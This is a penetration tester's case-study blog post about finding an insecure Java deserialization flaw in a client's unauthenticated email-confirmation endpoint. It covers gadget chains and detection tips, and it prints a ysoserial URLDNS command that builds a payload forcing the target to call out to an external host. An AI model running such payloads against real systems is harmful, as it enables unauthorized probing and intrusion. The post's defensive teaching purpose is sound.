Exploiting Insecure Deserialization - A Real-World Case Study
- idan ba
- Sep 2
- 4 min read
Updated: 12 hours ago
Setting the Stage
At Cybenari, we frequently encounter interesting vulnerabilities during penetration tests. Recently, while testing a client’s production application, we uncovered an insecure deserialization issue that could have opened the door to serious exploitation.
This post walks through how we found it, the technical details, and why deserialization bugs remain one of the most dangerous classes of vulnerabilities.
A Suspicious Base64 String
During routine testing, I noticed that my browser was sending a base64-encoded string to the application. At first glance, I assumed it was just a JSON Web Token (JWT). But something didn’t quite fit - the structure just wasn’t right.

Decoding the base64 string revealed something even more curious, it contained values that looked like Java class packages. This immediately raised a red flag. Could this be a serialized Java object being passed around?

Curiosity led me deeper, and after further investigation, I confirmed that the application was indeed serializing and deserializing Java objects directly. That’s when things got really interesting....
A Quick Primer - Serialization & Its Risks
Serialization is the process of converting an object into a format (like a text, bytes or base64) that can be stored or transmitted. Deserialization is the reverse process - turning that representation back into a live object.
The danger arises when applications blindly trust serialized input. If an attacker can tamper with that serialized data, they might be able to craft malicious objects that trigger unexpected behavior - including arbitrary code execution (RCE).
Crafting the Exploit a story of trial and error
With confirmation that the app was deserializing Java objects, I began my exploitation attempts. Because I had access to the source code, my first thought was to build a custom exploit by serializing my own Java object which will have similar fields and methods like the Java object the server is expecting to find. Unfortunately, this approach didn’t get me anywhere...
Next, I turned to ysoserial, a well-known open-source tool for generating deserialization payloads. YSoSerial provides dozens of “gadget chains” — reusable sequences of Java classes that can be abused to perform unintended actions during deserialization. In the past I didn't have much luck with ysoserial, so I was a bit skeptic about this approach.
Buy What’s a Gadget Chain anyway?
A gadget chain is a series of existing classes and methods within a program or library that can be “chained” together to achieve malicious effects.
In deserialization attacks, attackers don’t need to upload new code - they simply exploit what’s already present on the classpath. The default deserialization process of Java initiates the start of this process, but the exploit causes it go down a "chain" that ends up running code that can be potentially harmful.
Think of it like stringing together Lego blocks that weren’t meant to fit, but when combined in a certain way, they create a dangerous contraption.
Running into Roadblocks
Armed with ysoserial, I tried every available gadget chain, but success didn’t come easily.
Some payloads were too large and were blocked by the client’s CDN.
Others triggered the WAF and were stopped before reaching the app.
Some required libraries the application didn’t use.
A few were even blocked by Apache, as I noticed in the logs.
After days of trial and error, the breakthrough came with the URLDNS gadget chain!
Proof of exploitation using DNS Callbacks
Using the URLDNS gadget, I was able to get the application to make outbound DNS queries to my Interactsh server!
The payload looked like this:
java -jar ysoserial-all.jar URLDNS "https://server.com" | base64

I sent the base64-encoded payload to the vulnerable endpoint and successfully received a DNS request from the target. This was the proof I was waiting for!

While I wasn’t able to escalate this to full remote code execution (RCE), the fact that external communication was possible strongly suggested the risk was real. With more targeted gadget chain research, RCE might still be achievable.
Fixing the Issue
Fortunately, the fix was straightforward. Instead of naively deserializing untrusted input, the development team updated the code, following my guidance, to:
Decode the base64 string.
Sanitize and validate the data.
Only then proceed with deserialization.
By applying validation before deserialization, they effectively closed the vulnerability.
Severity Matters
This issue was particularly severe because the vulnerable endpoint was part of the email confirmation process, which occurred before the user is ever authenticated. That meant attackers wouldn’t need valid credentials to exploit it making it a prime candidate for external attacks.
Quick Detection Tip
If you’re a pentester reviewing HTTP traffic and see base64-encoded values starting with the prefix rO0 or rO0AB you are probably looking at a serialized Java object. That’s your cue to dig deeper.

Takeaway
Insecure deserialization remains a serious attack vector, even if it doesn’t always lead directly to RCE. The moral of the story - never deserialize untrusted input without validation. What seems like a harmless base64 string could turn into an attacker’s entry point.
Aftermath
After resolving the vulnerability, we didn’t stop there. We took the vulnerable code pattern as a reference point and performed a broader search across the client’s entire GitHub organization. Our goal was to identify whether similar serialization practices existed in other services or repositories.
This hunt uncovered some interesting insights about how serialization had crept into different parts of the codebase in subtle ways but that’s a story for another time...